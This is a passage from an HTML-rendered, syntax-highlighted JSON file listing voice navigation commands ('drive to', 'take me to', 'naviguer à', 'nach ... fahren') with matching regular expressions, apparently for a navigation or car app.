&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;386&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#386&#34;&gt;386&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;387&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#387&#34;&gt;387&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;388&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#388&#34;&gt;388&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;389&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#389&#34;&gt;389&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;voice_command_list&amp;#34;&lt;/span&gt; : [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;drive to&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^drive to\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;drive 2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^drive 2\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;dr to&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^dr to\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;dr 2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^dr 2\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;drive&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^drive\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;dr&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^dr\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate to&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^navigate to\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate 2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^navigate 2\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^navigate\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;where is&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^where is\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;take me to&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^take me to\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;take me 2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^take me 2\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;take me&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^take me\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;naviguer à&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^naviguer à\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;naviguer au&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^naviguer au\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;aller à&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^aller à\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;aller au&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^aller au\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;nach navigieren&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^nach\\b(.*)\\bnavigieren$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;zur navigieren&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^zur\\b(.*)\\bnavigieren$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;zu navigieren&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^zu\\b(.*)\\bnavigieren$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;nach fahren&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^nach\\b(.*)\\bfahren$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;zur fahren&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^zur\\b(.*)\\bfahren$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;zu fahren&amp;#34;&lt;/span&gt;,
